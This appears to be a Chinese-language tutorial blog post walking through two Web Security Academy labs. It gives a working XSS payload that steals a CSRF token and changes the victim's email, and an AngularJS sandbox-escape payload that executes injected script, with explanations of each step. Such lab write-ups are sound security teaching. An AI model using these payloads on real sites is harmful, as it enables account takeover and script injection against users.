渗透实战:绕过沙箱机制的反射型XSS

Lab 24:利用 xss 绕过 csrf 防御

依然是留言板的问题可以执行<h1>标签

进入修改邮箱的界面,修改抓包

这里构造修改邮箱的代码

复制代码
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {
    var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
    var changeReq = new XMLHttpRequest();
    changeReq.open('post', '/my-account/change-email', true);
    changeReq.send('csrf='+token+'&email=hack@you.com')
};
</script>
<!-- XMLHttpRequest:用于向服务器发送 HTTP 请求,获取或提交数据。
req.open('get', '/my-account', true)发送 GET 请求到 /my-account 页面,获取用户的账户信息(包含 CSRF 令牌)
handleResponse 函数解析服务器返回的 HTML 内容,通过正则表达式 name="csrf" value="(\w+)" 提取 CSRF 令牌
使用窃取的 CSRF 令牌,构造 POST 请求到 /my-account/change-email,将用户邮箱修改为 hack@you.com
-->

Lab 25:无需字符串即可逃逸 AngularJS 沙盒的反射型 XSS

当我们输入 1 时,看到我们输入的内容被放入$scope.query[key]中,因为key='search',这里就是通过访问键值对的方式获取键的值。类似下面的代码

lab 中这段 js 关键部分在于$parse的使用,$parse是 angularJS 中用来将字符串解析为可执行函数,通过$parse(key)($scope.query)search的值传给value,通过{``{value}}显示到页面<h1>标签中。

如何能控制key,从而让$parse执行我们输入的 key,可以尝试用&继续添加参数测试

可以看到我们输入的第二组key:value对出现了,我们可以控制key

angularJS 中,{``{}}表达式可以用来求值,如{``{ 1+1 }}可以得到 2,这里我们可以输入2+2=3+需要 url 编码为%2B

经过测试,发现我们输入的key被计算了,页面显示了 key 的计算结果,尝试输入 alert()不能弹窗,因为这里存在沙箱机制,不允许运行此函数,这里需要绕过沙箱机制执行 alert

访问 xss check-sheetCross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy可以看到关于 angularJS 绕过沙箱的好多方法

本 lab 给出的解决方法?search=1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1

这里通过toString().constructor.prototype.charAt=[].join将原型污染,导致 charAt 返回整个字符串而非单个字符

fromCharCode(120,61,97,108,101,114,116,40,49,41)解码后得到字符串:x=alert(1)

toString().constructor指向Function构造函数。

因此这部分等价于:Function("x=alert(1)")(),即创建并执行一个包含x=alert(1)的函数。

由于 charAt 被覆盖,isIdent() 在检查多字符输入(如 x=alert(1))时,实际比较的是整个字符串与单个字符的规则。根据逻辑,任何字符串(如 x=alert(1))都会被误判为合法标识符,导致 isIdent() 始终返回 true

复制代码
isIdent = function(ch) {
  return ('a' <= ch && ch <= 'z' ||  // 小写字母
          'A' <= ch && ch <= 'Z' ||  // 大写字母
          '_' === ch || ch === '$');  // 下划线或美元符号
}

利用 orderBy 过滤器执行恶意表达式 x=alert(1)

复制代码
[1] | orderBy:'x=alert(1)'

为方便理解请看下面示例代码

复制代码
<head>
  <script src="https://cdn.bootcdn.net/ajax/libs/angular.js/1.8.2/angular.min.js"></script>
</head>
<div ng-app="myApp" ng-controller="myCtrl">
    <p ng-repeat="item in items | orderBy:'price'">${{ item.price }}</p>
</div>
<!-- | 前面的是传入的数据,orderBy后面是排序的依据,漏洞点就是这里传入了angularJS表达式函数被执行 -->
<script>
  var app = angular.module('myApp', []);
  app.controller('myCtrl', function($scope) {
    $scope.items = [
      { price: 2.5 },
      { price: 1.5 },
      { price: 3.0 }
    ];
  });
</script>

运行结果

生成字符串 "x=alert(1)",避免直接使用引号,通过 toString().constructor 访问 String 构造函数,绕过对 String.fromCharCode 的直接调用限制。

复制代码
toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)
复制代码
echo "QmlsaWJpbGkgc2VhcmNoICdQZW5UZXN0M3JfWmVybGsnIGZvciBtb3JlIHZpZGVvLCBUaGFuayB5
b3UgZm9yIHlvdXIgc3VwcG9ydCEK"|base64 -d
相关推荐
爱掉发的小李12 分钟前
前端开发中的输出问题
开发语言·前端·javascript
Dolphin_海豚24 分钟前
一文理清 node.js 模块查找策略
javascript·后端·前端工程化
晓13133 小时前
JavaScript加强篇——第七章 浏览器对象与存储要点
开发语言·javascript·ecmascript
海底火旺3 小时前
浏览器渲染全过程解析
前端·javascript·浏览器
前端付豪4 小时前
15、前端可配置化系统设计:从硬编码到可视化配置
前端·javascript·架构
aPurpleBerry4 小时前
hot100 hot75 栈、队列题目思路
javascript·算法
颜漠笑年4 小时前
可迭代对象≠数组,一起来揭开for...of背后隐藏的秘密吧
前端·javascript
脑袋大大的5 小时前
判断当前是否为钉钉环境
开发语言·前端·javascript·钉钉·企业应用开发
军军君015 小时前
基于Springboot+UniApp+Ai实现模拟面试小工具二:后端项目搭建
前端·javascript·spring boot·spring·微信小程序·前端框架·集成学习
江城开朗的豌豆7 小时前
退出登录后头像还在?这个缓存问题坑过多少前端!
前端·javascript·vue.js